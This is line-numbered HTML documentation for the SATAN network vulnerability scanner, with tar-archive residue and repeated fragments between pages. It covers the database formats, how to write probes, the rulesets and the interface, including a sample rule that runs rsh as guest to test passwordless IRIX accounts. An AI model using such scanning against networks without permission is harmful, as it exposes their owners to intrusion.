  5289. <p>
  5290. For the record, no one gave us any money to build the tool; the development
  5291. was done on our own time and equipment.  No one (including our current
  5292. employers) endorses or directly supports it.
  5293. <p>
  5294.  
  5295. <A NAME="why-scan"><H3>Why does it scan sites other than your own?</H3></A>
  5296. All the hosts scanned with SATAN are done so because it gives a clearer
  5297. picture of what the network security of your site is, by examining the
  5298. webs of trust and the possible avenues of approach or attack.  Since there is
  5299. no way that SATAN could, a priori, know where it is going to scan, we
  5300. decided that instead of placing artificial constraints on the program, we
  5301. would allow the system administrator to place their own constraints on
  5302. where SATAN would run, via the configuration file
  5303. (<A HREF="satan.cf.html#exceptions"> targeting exceptions</A>.)
  5304.  
  5305. <p>
  5306. <A NAME="white-hats"><H3>Why wasn't there a limited distribution, to only the "white hats"?</H3></A>
  5307. History has shown that attempts to limit distribution of most security
  5308. information and tools has only made things worse.  The "undesirable"
  5309. elements of the computer world will obtain them no matter what you do,
  5310. and people that have legitimate needs for the information are denied it
  5311. because of the inherently arbitrary and unfair limitations that are set up
  5312. when restricting access.
  5313.  
  5314. <p>
  5315. <A NAME="future"><H3>Future directions</H3></A>
  5316. We're almost certainly going to continue development on SATAN.  At the
  5317. top of our wish list is a way to graphically display the network maps,
  5318. especially with respect to the webs of trust.  This is a hard problem!
  5319. Our main goal right now is to get a solid product out, and see how it's
  5320. received by the world; the response will drive our development.  In
  5321. addition, we haven't had much of a chance to play with the program
  5322. ourselves, so once the dust clears, we'll probably have a better view of
  5323. where we'll take the program.
  5324.  
  5325. <hr>
  5326. <a href="satan_overview.html"> Back to the Introductory TOC/Index</a>
  5327.  
  5328. </BODY>
  5329. </HTML>
  5330. e avenues of approach or attack.  Since there is
  5331. no way that SATAN could, a priori, know where it is going to scan, we
  5332. decided that instead of placing artificial constraints on the program, we
  5333. would allow the system administrator to place their own constraints on
  5334. where SATAN would run, via the configuration file
  5335. (<A HREF="satan.cf.html#esatan-1.1.1/html/docs/satan.db.html.................................................................   600 .   465 .   506 .      12460  5740014467  12177. ............................................................................
  5336. .................................................................................................................................................................................................................................................................
  5337. .......................<HTML>
  5338. <HEAD>
  5339. <title>SATAN Database Format</title>
  5340. <LINK REV="made" HREF="mailto:satan@fish.com">
  5341. </HEAD>
  5342. <BODY>
  5343. <H1><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">SATAN Database Format</H1>
  5344. <HR>
  5345.  
  5346. There are three main databases in SATAN:
  5347. <UL>
  5348. <LI><A HREF="#facts"><strong>facts</strong> - just the facts, m'am</a>
  5349. <LI><A HREF="#all-hosts"><strong>all-hosts</strong> - all the hosts seen</A>
  5350. <LI><A HREF="#todo"><strong>todo</strong> - all the things it did </a>
  5351. </UL>
  5352.  
  5353.  
  5354. <A name="facts"></a><H2>The "facts" database</H2>
  5355. All information is in the form of text records with attributes
  5356. described below; there are seven fields, each separated by a pipe
  5357. ("|") character.
  5358. <p>
  5359. This information is what is collected by SATAN's dumb data collection
  5360. tools - no intelligence used, they just do what they're told to do.
  5361. <p>
  5362. Inferences and conclusions are in the same format; the fields are:
  5363. <OL>
  5364. <LI> <A HREF="#Target">Target</A>
  5365. <LI> <A HREF="#Service">Service</A>
  5366. <LI> <A HREF="#Status">Status</A>
  5367. <LI> <A HREF="#Severity">Severity</A>
  5368. <LI> <A HREF="#Trusted">Trusted</A>
  5369. <LI> <A HREF="#Trustee">Trustee</A>
  5370. <LI> <A HREF="#Canonical">Canonical Service Output</A>
  5371. <LI> <A HREF="#Text">Text</A>
  5372. </OL>
  5373.  
  5374. <A NAME="Target"><H3>Target</H3></A>
  5375.  
  5376. Name of host that the record refers to.  In order of preference,
  5377. it uses FQDN, IP, estimated, or partial.  Partial can result from
  5378. service output getting truncated; e.g. finger can return
  5379. <I>"foo.bar.co"</I>; is that <I>"foo.bar.com"</I>, or something
  5380. longer?  SATAN tries to figure this out, but obviously can't always be
  5381. right.
  5382.  
  5383. <A NAME="Service"><H3>Service</H3></A>
  5384.  
  5385. The basename of tool, with the <I>".satan"</I> suffix removed.
  5386. In the case of tools that probe multiple services (such as 
  5387. <em>rpcinfo</em> or the portscanner), the name of the service being
  5388. probed.
  5389.  
  5390. <A NAME="Status"><H3>Status</H3></A>
  5391.  
  5392. This tells us if the host was reachable, if it timed out, or whatever.
  5393. The codes and what they mean are:
  5394. <OL>
  5395. <LI><I>a</I>: <STRONG>available</STRONG>
  5396. <LI><I>u</I>: <STRONG>unavailable (e.g. timeout)</STRONG>
  5397. <LI><I>b</I>: <STRONG>bad (e.g. unable to resolve)</STRONG>
  5398. <LI><I>x</I>: <STRONG>look into further?</STRONG>
  5399. </OL>
  5400.  
  5401. <A NAME="Severity"><H3>Severity</H3></A>
  5402.  
  5403. How serious was the vulnerability?  The codes are:
  5404. <OL>
  5405. <LI> <I>rs</I>: <STRONG>host</STRONG> or <STRONG>root</STRONG> access to the target.
  5406. <LI> <I>us</I>: <STRONG>user shell access</STRONG>
  5407. <LI> <I>ns</I>: <STRONG>nobody shell access</STRONG>
  5408. <LI> <I>uw</I>: <STRONG>user file write</STRONG>
  5409. <LI> <I>nr</I>: <STRONG>nobody file read</STRONG>
  5410. </OL>
  5411.  
  5412. <A NAME="Trustee"><H3>Trustee</H3></A>
  5413.  
  5414. This is who trusts another target.  It is denoted by two tokens separated
  5415. by an at sign (<I>"@"</I>).  The left part is the user :
  5416. <OL>
  5417. <LI> <I>user</I>: <STRONG> a particular user on the host is trusted</STRONG>
  5418. <LI> <I>root</I>: <STRONG> only root is trusted</STRONG>
  5419. <LI> <I>nobody</I>: <STRONG> user nobody on the host is trusted</STRONG>
  5420. <LI> <I>ANY</I>: <STRONG> any arbitrary user on the host is trusted</STRONG>
  5421. </OL>
  5422. The right part of the trust field is the host that is trusted - it is
  5423. either the <I>target</I> or <I>ANY</I>, which refers to any host on
  5424. the Internet.
  5425. <p>
  5426. <A NAME="Trusted"><STRONG>Trusted</STRONG></A>
  5427. This is who is the <I>trustee</I> trusts.  It is denoted by two tokens
  5428. separated by an at sign (<I>"@"</I>), and it uses the same format the
  5429. the <A HREF="#Trustee"><I>"trustee"</I></A> field.
  5430.  
  5431. <A NAME="Canonical"><H3>Canonical Service Output</H3></A>
  5432.  
  5433. In the case of non-vulnerability records,
  5434. this is a reformatted version of the network service; the format is
  5435. either <I>"user name, home dir, last login"</I> or
  5436. <I>"filesys, clients"</I>. 
  5437. In the case of vulnerability records, this is a description of the
  5438. problem type. SATAN uses this name in reports by vulnerability type,
  5439. and uses it to locate the corresponding vulnerability tutorial.
  5440.  
  5441. <A NAME="Text"><H3>Text</H3></A>
  5442.  
  5443. This is a place to put english (or other languages)-like messages
  5444. that can be outputted in the final report.
  5445. </OL>
  5446.  
  5447.  
  5448. <A name="all-hosts"><H2>"all-hosts" - all the hosts seen database</h2></A>
  5449. The <i>all-hosts</i> database keeps track of what hosts SATAN has seen, in
  5450. any way, shape, or form, while scanning networks, including hosts that
  5451. may or may not exist.  (Non-existant hosts might include, for instance,
  5452. hosts reported from the output of the <i>showmount</i> command.
  5453. The database is an ASCII file, with six (6) fields separated by a
  5454. pipe ("|") character, whose attributes are:
  5455. <ul>
  5456. <li>IP address of the host
  5457. <li>The proximity level from the original target
  5458. <li>The attack level the host has been probed with
  5459. <li>Was subnet expansion on?  (1 = yes, 0 = no)
  5460. <li>What time was the scan done?
  5461. </ul>
  5462. (See the <a href="satan.cf.html">SATAN configuration file</a> documentation
  5463. for more information on these variables and concepts.)
  5464.  
  5465. <A name="todo"><H2>"todo" - database that tracks probes already done</h2></a>
  5466. <p>
  5467. The <i>todo</i> database keeps track of what probes have already been done.
  5468. It's in the form of text records with attributes described below;
  5469. there are three fields, each separated by a pipe ("|") character:
  5470.  
  5471. <ul>
  5472. <li>The hostname
  5473. <li>The name of the tool that is to be run next
  5474. <li>Any arguments for the tool
  5475. </ul>
  5476. The tools perform <i>.satan</i> probes against the <i>hostname</i> with
  5477. the arguments, if any.
  5478.  
  5479. <hr>
  5480. <a href="satan_reference.html"> Back to the Reference TOC/Index</a>
  5481.  
  5482. </BODY>
  5483. </HTML>
  5484. rote and is distrbuting something called
  5485. <a href="http://ciac.llnl.gov/ciac/ToolsUnixNetMon.html#Courtney">
  5486. Courtney</a>, but it is far from foolproof.  It is very difficult
  5487. to detect the lighter SATAN scans;satan-1.1.1/html/docs/satan.probes.html.............................................................   600 .   465 .   506 .       6653  5737563542  13104. ...................................................................
  5488. .................................................................................................................................................................................................................................................................
  5489. ................................<HTML>
  5490. <HEAD>
  5491. <title>Extending SATAN </title>
  5492. <LINK REV="made" HREF="mailto:satan@fish.com">
  5493. </HEAD>
  5494. <BODY>
  5495. <H1><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">Extending SATAN</H1>
  5496. <HR>
  5497. One of the best parts of SATAN is that it is so easy to modify, configure,
  5498. and add your own probes and vulnerability checks to the system.
  5499. All of the probes are files that end in <I>.satan</I> and are kept
  5500. in the <i>bin</i> subdirectory; the rules to add new vulnerability
  5501. checks are in the <I>rules</I> subdirectory (see the section on
  5502. <a href="satan.rules.html">satan rules</a> for more information on
  5503. the rulesets.)  SATAN tests for vulnerabilities are roughly done as follows:
  5504. <UL>
  5505. <li> Initial data collection, via <i>.satan</i> files.  Save this info into
  5506. the database (ASCII text files).  This will be either informational or
  5507. vulnerability data.
  5508. <li> When the user fires up the HTML browser, SATAN examines the database
  5509. for explicit vulnerabilities, then checks the rulesets to see if it can
  5510. infer other vulnerabilities (such as finding an old sendmail version or
  5511. something.)
  5512. </UL>
  5513. If you want to add another <I>.satan</I> test - perhaps checking for
  5514. the latest sendmail bug or something - there are a few things
  5515. that must be done, depending on your test:
  5516.  
  5517. <OL>
  5518. <li> Create an executable that checks for the problem you'd like to scan
  5519. for.  It generally will take one argument - a hostname that is the
  5520. target of the probe.
  5521.  
  5522. <li> Have the probe output a valid SATAN output record - see the
  5523. <A HREF="satan.db.html">SATAN database format</A> document for more on
  5524. this.
  5525.  
  5526. <li> If it is a C program or something that must be processed or
  5527. compiled before being run, either modify an existing SATAN makefile to
  5528. do so, or create your own.
  5529.  
  5530. <li> Decide what severity level it will be run at; either <I>light</I>,
  5531. <I>normal</I>, or <I>heavy</I>, and modify the appropriate variable
  5532. in the <A HREF="satan.cf.html#attack-level">satan.cf</A> file.
  5533.  
  5534. </OL>
  5535.  
  5536. If you want to modify the rulesets, see the 
  5537. <a href="satan.rules.html">satan rules</a> section to see how to 
  5538. create a rule that will check for a vulnerability.
  5539. <p>
  5540. Finally, you'll want to create an information file (we call them tutorials.)
  5541. This explains the vulnerability, tells how to fix or otherwise deal with
  5542. the problem, points to applicable CERT or vendor advisories, etc.  There
  5543. are examples of these in the <i>html/tutorials/vulnerabilities</i>
  5544. subdirectory.
  5545. <p>
  5546. <strong>Important!</strong>  Look at the canonical output of the tool (see the
  5547. <a href="satan.db.html#Canonical">satan database</a> for more details on
  5548. this) - for instance, for REXD, it's <strong>"REXD access"</strong>.
  5549. <p>
  5550. The filename will be identical to the canonical output, with underbars
  5551. <i>("_")</i> instead of spaces, with an <i>".html"</i> suffix.  E.g.,
  5552. for REXD, the filename is <strong>REXD_access.html</strong>.
  5553. <p>
  5554. That's it!  Place the executable (or have <I>make</I> do so after
  5555. processing the source file) in the <i>bin</i> SATAN subdirectory with
  5556. the rest of the <I>.satan</I> files.  It will be run against any target
  5557. that has an attack level that corresponds to your probe.
  5558.  
  5559. <hr>
  5560. If you're feeling really womanly or manly, and want to give your news
  5561. tests or changes to the world, the best thing to do is to generate a
  5562. patch using the diff command that can be run against the latest released
  5563. version of SATAN.  Feel free to send it to:
  5564. <p>
  5565. <ADDRESS>satan@fish.com</ADDRESS>
  5566.  
  5567. <hr>
  5568. <a href="satan_reference.html"> Back to the Reference TOC/Index</a>
  5569.  
  5570. </BODY>
  5571. </HTML>
  5572. ut it is far from foolproof.  It is very difficult
  5573. to detect the lighter SATAN scans;satan-1.1.1/html/docs/satan.rules.html..............................................................   600 .   465 .   506 .      17647  5737563420  12764. ...................................................................
  5574. .................................................................................................................................................................................................................................................................
  5575. ................................<HTML>
  5576. <HEAD>
  5577. <title>SATAN Rulesets </title>
  5578. <LINK REV="made" HREF="mailto:satan@fish.com">
  5579. </HEAD>
  5580. <BODY>
  5581. <H1><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">SATAN Rulesets </H1>
  5582. <HR>
  5583. While not as potentially dangerous as the
  5584. <a href="satan.cf.html">SATAN configuration file</a>, the collection of
  5585. files that make up SATAN's internal rules are probably the most important
  5586. part of the entire SATAN system.  All inferencing is done here; this is
  5587. how SATAN determines, for instance, what the target's OS and hardware
  5588. type is from the other data collected in the system.  Generally
  5589. speaking, the rule files determine:
  5590. <p>
  5591. <UL>
  5592. <li> What is dangerous/potentially harmful.
  5593. <li> What is <STRONG>not</STRONG> dangerous.
  5594. <li> What network services are being run.
  5595. </UL>
  5596. In addition, the rules also inform SATAN to run other probes based on
  5597. past input; for instance, if the host is found to run <I>rexd</I>, then
  5598. the <I>rexd.satan</I> probe might be run, based on a rule contained here.
  5599. <p>
  5600. The files are nothing more than perl code that gets run when the program
  5601. initializes; don't be intimidated by that, however - it is fairly easy
  5602. to read and is heavily commented (if you don't know perl, comments
  5603. (lines that don't do anything) are lines that start with a sharp/pound
  5604. sign ("#")).  Variables are tokens that start with a dollar sign; values
  5605. of 0 or null ("") typically mean false, unless otherwise noted.
  5606. <p>
  5607. There are currently six (6) rule files, each governing a separate part
  5608. of SATAN's behavior (note: <I>facts</I> contain information that individual
  5609. SATAN data collection modules (e.g. the ".satan" files) collect.)
  5610. <OL>
  5611. <li> <a href="#drop">rules/drop</a> - determines what facts should be ignored.
  5612. <li> <a href="#facts">rules/facts </a> - deduces new facts from existing data.
  5613. <li> <a href="#hosttype"> rules/hosttype </a> - tries to recognize host
  5614. types from telnet/ftp/smtp banners.
  5615.  
  5616. <li> <a href="#services">rules/services </a> - classifies hosts by service type.
  5617. <li> <a href="#todo">rules/todo </a> - specifies what probes to try next,
  5618. given information gathered so far.
  5619. <li> <a href="#trust">rules/trust </a> - classifies trust relationships.
  5620. </OL>
  5621. The easiest way to explain all of this is to just go over each file in
  5622. turn.
  5623. <p>
  5624.  
  5625. <a name="drop"> <H3>rules/drop</H3></a>
  5626. This contains rules that determine what facts should be ignored. Each
  5627. rule is applied once for each SATAN record that has an "a" in the status
  5628. field (this means the host is available; see the
  5629. <a href="satan.db.html#Status">SATAN Data Base Format</a> section.)
  5630. <p>
  5631. For instance, SATAN assumes that CD-ROM drives are not harmful for
  5632. export purposes; if we see a target host that exports <I>/cdrom</I>
  5633. or <I>/CDROM</I>, we assume it's harmless by telling SATAN to ignore
  5634. this fact:
  5635. <PRE>
  5636.     $text =~ /exports \/cdrom/i
  5637. </PRE>
  5638. (The <I>$text</I> variable holds the output of the SATAN probe,
  5639. <I>showmount.satan</I> in this case; any of the global SATAN variables
  5640. could be used.)
  5641. <p>
  5642. <a name="facts"><H3>rules/facts </H3></a>
  5643.  
  5644. This file contains rules that deduce new facts from existing data.  Each
  5645. rule is executed once for each SATAN record that has an "a" in the 
  5646. status field. (this means the host is available; see the
  5647. <a href="satan.db.html#Status">SATAN database format</a> section.)
  5648. <p>
  5649. The rule format is:
  5650. <PRE>
  5651.     condition TAB fact
  5652. </PRE>
  5653. (Note - the <I>TAB</I> is the tab character, not the three letters "T",
  5654. "A", and "B"!)
  5655. <p>
  5656. For example, if we want to assume that if a host is running rexd it's
  5657. insecure without trying to probe it further, we would put:
  5658. <PRE>
  5659.     /runs rexd/     $target|assert|a|us|ANY@$target|ANY@ANY|REXD access|rexd is vulnerable
  5660. </PRE>
  5661. The most difficult thing with the <I>rules/facts</I> file is that you
  5662. have to understand the
  5663. <a href="satan.db.html">SATAN data base format</a>; a good way to
  5664. understand that better is to merely look at any of the <I>.satan</I>
  5665. files in the main SATAN directory and look to see what the probe does
  5666. and what it outputs.
  5667. <p>
  5668.  
  5669. <a name="hosttype"> <H3>rules/hosttype</H3> </a>
  5670. This file contains rules that recognize host types from telnet/ftp/smtp
  5671. banners; these are applied to every record that has a telnet, ftp, or
  5672. sendmail banner.
  5673. <p> The format of this file is:
  5674. <PRE>
  5675.     CLASS class_name
  5676.     condition TAB hosttype
  5677. </PRE>
  5678. (Note - the <I>TAB</I> is the tab character, not the three letters "T",
  5679. "A", and "B"!)
  5680. <p>
  5681. The class_name is used for the first rough breakdown by host type
  5682. in reports. It should be a major software category, such as SUN,
  5683. APOLLO, etc.  For example, here is the code for recognizing a SUN and
  5684. its major OS revision:
  5685. <PRE>
  5686.     CLASS SUN
  5687.     UNKNOWN && /SunOS/               "SunOS 4"
  5688.     /4.1\/SMI-4.1/                   "SunOS 4"
  5689.     /SMI-SVR4/                       "SunOS 5"
  5690. </PRE>
  5691. <p>
  5692. While it looks fairly impenetrable, look at the examples given if you'd
  5693. like to create your own rules and steal and modify the code we use to
  5694. do this.
  5695. <p>
  5696.  
  5697. <a name="services"> <H3>rules/services</H3> </a>
  5698. Very similar to the <a href="#hosttype">host type</a> ruleset, this file
  5699. contains rules that translate the cryptic SATAN record data to something
  5700. that is more suitable for reports.  Again, each
  5701. rule is executed once for each SATAN record that has an "a" in the 
  5702. status field. (this means the host is available; see the
  5703. <a href="satan.db.html#Status">SATAN database format</a> section.)
  5704. <p>
  5705. Format of this file is:
  5706. <PRE>
  5707.     class_name
  5708.     condition TAB service_name TAB host
  5709. </PRE>
  5710. Where the class_name is <I>SERVERS</I> or <I>CLIENTS</I>.  For instance,
  5711. to classify a host as an NNTP server, you'd simply do this (in the
  5712. <I>SERVERS</I> section):
  5713. <PRE>
  5714.     $service eq "nntp"               NNTP (Usenet news)
  5715. </PRE>
  5716. <p>
  5717. <a name="todo"> <H3>rules/todo</H3> </a>
  5718. These are rules that specify what probes to try next.  Each
  5719. rule is executed once for each SATAN record that has an "a" in the 
  5720. status field. (this means the host is available; see the
  5721. <a href="satan.db.html#Status">SATAN database format</a> section.)
  5722. <p>
  5723. Format of this file is:
  5724. <PRE>
  5725.     condition TAB target tool tool-arguments
  5726. </PRE>
  5727. (Note - the <I>TAB</I> is the tab character, not the three letters "T",
  5728. "A", and "B"!)
  5729. <p>
  5730. The condition is a logical expression (with the usual internal SATAN
  5731. variables) that has to be satisfied in order for SATAN to run the probe
  5732. specified; when the condition is satisfied, the tool is executed as:
  5733. <PRE>
  5734.     tool tool-arguments target
  5735. </PRE>
  5736. SATAN keeps track of already executed tool invocations.
  5737. <p>
  5738. For instance, if a host is running <I>ypserv</I>, we would
  5739. typically run the <I>ypbind.satan</I> probe against it.  This would be
  5740. done as follows:
  5741. <PRE>
  5742.     $service eq "ypserv"              $target "ypbind.satan"
  5743. </PRE>
  5744. <p>
  5745. It's easy to put in a probe that, say, depends on the type of system
  5746. that you're looking at.  For instance, SGI/IRIX hosts have <I>guest</I>,
  5747. <I>lp</I>, and other accounts with no password when taken out-of-the-box
  5748. from SGI.  Here's how you could check to see if this is a problem:
  5749. <PRE>
  5750.     /IRIX/                            $target "rsh.satan" "-u guest"
  5751. </PRE>
  5752. That would do an rsh as user guest to see if a command could be executed
  5753. remotely; SATAN would then record this fact in the results.
  5754.  
  5755. <a name="trust"> <H3>rules/trust</H3> </a>
  5756. Similar to the host and service type rules, SATAN uses the trust rules
  5757. to translate the cryptic SATAN record data to something
  5758. that is more suitable for reports.  Again, each
  5759. rule is executed once for each SATAN record that has an "a" in the 
  5760. status field. (this means the host is available; see the
  5761. <a href="satan.db.html#Status">SATAN database format</a> section.)
  5762. <p>
  5763. Format of this file is:
  5764. <PRE>
  5765.     condition TAB name of relationship
  5766. </PRE>
  5767. With the currrent <i>rules/trust</i> file, SATAN only begins to
  5768. scratch the surface. It handles only the most easily detected
  5769. forms of trust:
  5770. <pre>
  5771.     $severity eq "l"                        remote login
  5772.     $text =~ /exports \S+ to/               file sharing
  5773.     $text =~ / mounts \S+/                  file sharing
  5774. </pre>
  5775. <hr>
  5776. <a href="satan_reference.html"> Back to the Reference TOC/Index</a>
  5777. </BODY>
  5778. </HTML>
  5779. /hosttype</H3> </a>
  5780. This file contains rules that recognize host types from telnet/ftp/smsatan-1.1.1/html/docs/user_interface.html...........................................................   600 .   465 .   506 .      37453  5741744536  13524. ................................
  5781. .................................................................................................................................................................................................................................................................
  5782. ...................................................................<HTML>
  5783. <HEAD>
  5784. <title>The SATAN User Interface</title>
  5785. <LINK REV="made" HREF="mailto:satan@fish.com">
  5786. </HEAD>
  5787. <BODY>
  5788. <H1><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">The SATAN User Interface</H1>
  5789. <HR>
  5790. SATAN was designed to have a very "user friendly"
  5791. user interface.  Since it is extremely difficult to create a good user
  5792. interface from scratch, we stole everyone else's.  All of the output (of
  5793. the non-debugging sort) and nearly all of the interface uses HTML,
  5794. so as a user you can utilize any number of incredible HTML display
  5795. programs such as Netscape, Mosaic, lynx (for those stuck with text-only
  5796. displays), etc.
  5797. <p>
  5798. Subsections in the User Interface section:
  5799. <UL>
  5800. <LI><A HREF="#basics">The Basics</A>
  5801. <LI><A HREF="#data-mgmt">Data Management</A>
  5802. <LI><A HREF="#gathering-data">Gathering Data</A>
  5803. <LI><A HREF="#looking">Looking at and understanding the results</A>
  5804. <LI><A HREF="#tricky-implications">Hints, Further tricky security implications,
  5805. or Getting The Big Picture (tm)</A>
  5806. <LI><A HREF="#command-line">The Command-line Interface</A>
  5807. </UL>
  5808. <hr>
  5809.  
  5810. <p>
  5811. <A NAME="basics"><H3>The Basics</H3></A>
  5812. <STRONG>An HTML browser is REQUIRED to do report queries</STRONG>.
  5813. It is highly suggested that you use it to read the
  5814. documentation, if nothing else to print it out and read it via
  5815. hard-copy, since it's also all in HTML (later versions of SATAN will
  5816. almost certainly have non-HTML documentation, but the time pressures of
  5817. the project eliminated this as a viable option for the first release of
  5818. SATAN.)
  5819. (While all of the program interface and documentation uses hypertext
  5820. extensively; it's beyond the scope of this document to explain how to
  5821. use a HTML browser, but all of them come with fairly extensive
  5822. documentation and are very easy to use.)
  5823. <p>
  5824. This part of the documentation covers some of the basic design concepts
  5825. and how to move around the SATAN user interface.  However, <STRONG>with
  5826. the exception of the <I>target acquisition</I> part of the
  5827. program</STRONG> (we don't want you to learn how to probe hosts by trial
  5828. and error!), the best way to learn how to use the program is to
  5829. simply start pointing and clicking with your mouse or with the arrow
  5830. keys on your keyboard.
  5831.  
  5832. <p>
  5833. <A NAME="data-mgmt"><H3>Data Management</H3></A>
  5834. SATAN has a very simple way of opening or creating its databases (this
  5835. is how SATAN keeps all of its records, including the hosts that it's seen
  5836. (in the <I>all-hosts</I> file), the current set of facts (in the
  5837. <I>facts</I> file), and what should be run next (<I>todo</I>) - see the
  5838. <A HREF="satan.db.html">SATAN database description</A> if you'd like
  5839. more information on those files.
  5840.  
  5841. <p>
  5842. All of SATAN's data collection output will go to the current set of
  5843. databases, which are kept in the results directory in a subdirectory
  5844. that has the current database name.  A default database, called
  5845. <i>satan-data</i> will be automatically created if no other name is
  5846. chosen.
  5847.  
  5848. <p>
  5849. If you choose the <I>SATAN Data Management</I> from the <I>SATAN Control
  5850. Panel</I>, you have three choices; open an existing set of data,
  5851. start a new database, or to merge the contents of an on-disk database 
  5852. with the in-core data.
  5853.  
  5854. <p>
  5855. <STRONG>Note!</STRONG>
  5856. Opening or creating a new database will destroy all other in-core
  5857. information from other databases or scans. For this reason it is a good
  5858. idea to choose a database <i>before</i> collecting data.  All queries
  5859. will go to the in-core database. New data collection results, etc.
  5860. will go into the currently selected on-disk database.
  5861.  
  5862. <p>
  5863. Merging a database concatenates the contents of the chosen on-disk
  5864. database to the in-core information.  Although care
  5865. must be taken to have enough physical memory to contain all the databases,
  5866. SATAN becomes more and more interesting as more information is 
  5867. combined, because more correlation, trust, and patterns can
  5868. be detected.  In addition, when large databases from different but
  5869. connected (users log in from one site to another, or important
  5870. data is being shared) sites are placed together, <strong>better</strong>
  5871. information can be gotten for both sites.  If you know friendly neighboring
  5872. system administrators, instead of asking for permission to scan their
  5873. site, exchange your latest SATAN database with each other, and help
  5874. each other out.  It would be interesting to put together hundreds of
  5875. thousands of hosts from the Internet and see what happens (although the
  5876. memory and CPU speed required to process this amount of data would
  5877. be formidable!)
  5878.  
  5879. <p>
  5880. <A NAME="gathering-data"><H3>Gathering Data</H3></A>
  5881. Gathering information about hosts is very easy when using SATAN - too
  5882. easy sometimes, because it follows lines of trust that are often hidden
  5883. from casual observation, and you'll soon find it scanning networks and
  5884. hosts that you had no idea were connected to your net.  As an
  5885. intellectual or learning exercise this is wonderful, but many sites take
  5886. a dim view of you probing (or "attacking", as they'll claim) their site
  5887. without prior permission.  So don't do it.
  5888. <p>
  5889. The easiest and safest way to gather it is by simply selecting a
  5890. target host that you'd like to know more about and then probe that host
  5891. (and the subnet as well, if you wish) with the default settings: 
  5892. no host-to-subnet expansion, and a maximum
  5893. proximity level of zero (see the <a href=satan.cf.html> config/satan.cf</a>
  5894. (SATAN configuration) file for more on this.)
  5895. <p>
  5896. See the <a href="../tutorials/first_time/scanning.html"> tutorial</a>
  5897. on how to scan a target for the first time.
  5898.  
  5899. <p>
  5900. <A NAME="looking"><H3>Looking at and understanding the results</H3></A>
  5901. Easy to use, hard to describe.  That's how the SATAN <I>Reporting and
  5902. Analysis</I> works.  There are three broad categories (vulnerabilities,
  5903. information, and trust), each with
  5904. fundamental differences in how they approach and analyze the data
  5905. gathered from scanning.  However, since
  5906. so much information is tied together with the hypertext, you can start from
  5907. any of these categories and find the same information but with a
  5908. different emphasis or display on certain parts of the information.  Most
  5909. queries will present the user with an index that facilitates movement
  5910. within that query type - the amount of information can get quite large -
  5911. and a link that will lead the user back to the Table of Contents.  In
  5912. addition, vulnerabilities have links to a description of the problem,
  5913. including what it is, what the implications are with respect to
  5914. security, as well as how to fix it.  If a CERT advisory applies to this
  5915. particular problem then there is a link to that as well.
  5916. <OL>
  5917. <li><a href="#vulnerabilities"><STRONG>Vulnerabilities</STRONG></a>.
  5918. This is what most people think of when they think of SATAN - what/where
  5919. are the weak points of the host/network.
  5920. <li><a href="#hostinfo"><STRONG>Host Information</STRONG></a>.  Very
  5921. valuable information - this can show where the servers are, what the
  5922. important hosts are, breakdown the network into subnets, organizational
  5923. domains, etc.  In addition, you can query about any individual host
  5924. here.
  5925. <li><a href="#trust"><STRONG>Trust</STRONG></a>.  SATAN can follow
  5926. the web of trust between systems - trust through remote logins,
  5927. trust by sharing file systems.
  5928. </OL>
  5929.  
  5930. <a name="vulnerabilities"><STRONG>Vulnerabilities</STRONG></a>
  5931. <p>
  5932. There are three basic ways of looking at the vulnerability results of
  5933. your scan:
  5934. <UL>
  5935. <li>Approximate Danger Level.  All of the probes generate a basic level
  5936. of danger if they find a potential problem; this sorts all the problems
  5937. by severity level (e.g. the most serious level compromises root on the
  5938. target host, the least allows an unprivileged file to be remotely read.)
  5939. <li>Type of Vulnerability.  This simply shows all the types of
  5940. vulnerabilities found in the probe, plus a corresponding list of hosts
  5941. that fall under that vulnerability.
  5942. <li>Vulnerability Count.  This shows which hosts have the most problems,
  5943. by sheer number of vulnerabilities found by the probe.
  5944. </UL>
  5945. Try looking at all of the different ways of looking at any
  5946. vulnerabilities found by the probe to see which is most intuitive or
  5947. informative to you; after using the tool for some time, it becomes
  5948. easier to learn which type of query is the best for the current
  5949. situation.
  5950.  
  5951. <p>
  5952. <a name="hostinfo"><STRONG>Host Information</STRONG></a>
  5953. <p>
  5954. An enormous amount of information can be gained by examining the various
  5955. subcategories of this section - remember, the more intensive the SATAN
  5956. probe, the more information will be gathered.  Typically this will show
  5957. either the numbers of hosts that fall under the specific category with
  5958. hypertext links to more specific information about the hosts or the
  5959. actual list of hosts (which can be sorted into different orders on the
  5960. fly).  If there is a host listed with a red dot
  5961. (<IMG SRC="../dots/reddot.gif" ALT="*">) next to it, that means the
  5962. host has a vulnerability that could compromise it.
  5963. Note that if SATAN reports a problem, it means the problem is
  5964. <strong>possibly</strong>
  5965. present.  The presence of Wietse's TCP wrapper, a packet filter, firewall,
  5966. other security measures, or just incomplete information or assumptions may 
  5967. mean that what SATAN "sees" is not the real picture.
  5968.  
  5969. A black dot
  5970. (<IMG SRC="../dots/blackdot.gif" ALT="-">) means that no vulnerabilities
  5971. have been found for that particular host yet.
  5972. Note that a black dot next to the host does <strong>NOT</strong> mean
  5973. that the host has no security holes.  It only means that SATAN didn't
  5974. find any; scanning at a higher level or additional probes might find
  5975. some further information, and examining the SATAN database to see if
  5976. probes were timing out rather than failing might mean the probes should be
  5977. run a second time.  Clicking on links
  5978. will give you more information on that host, network, piece of
  5979. information, or vulnerability, just as expected.
  5980. <p>
  5981. The categories are:
  5982. <UL>
  5983. <li>Class of Service.  This shows the various network services that the
  5984. collected group of probed hosts offer - anonymous FTP, WWW, etc.
  5985. Gathered by examining information garnered by <I>rpcinfo</I> and by
  5986. scanning TCP ports.
  5987. <li>System Type.  Breaks down the probed hosts by the hardware type
  5988. (Sun, SGI, Ultrix, etc.); this is further subdivided by the OS version,
  5989. if possible to ascertain.  This is inferred by 
  5990. the various network banners of <I>ftp</I>, <I>telnet</I>, and 
  5991. <I>sendmail</I>.
  5992. <li>Internet Domain.  Shows the various hosts broken down into DNS
  5993. domains.  This is very useful when trying to understand which domains
  5994. are administered well or are more important (either by sheer numbers or
  5995. by examining the numbers of servers or key hosts, etc.)
  5996. <li>Subnet.  A subnet (as far as SATAN is concerned) is a block of up
  5997. to 256 adjacent network addresses, all within the last octet of the IP
  5998. address.  This is the most common way of breaking up small
  5999. organizations, and can be useful for showing the physical location or
  6000. concentration of hosts in larger systems.
  6001. <li>Host name.  Allows a <STRONG>query</STRONG> of the current database
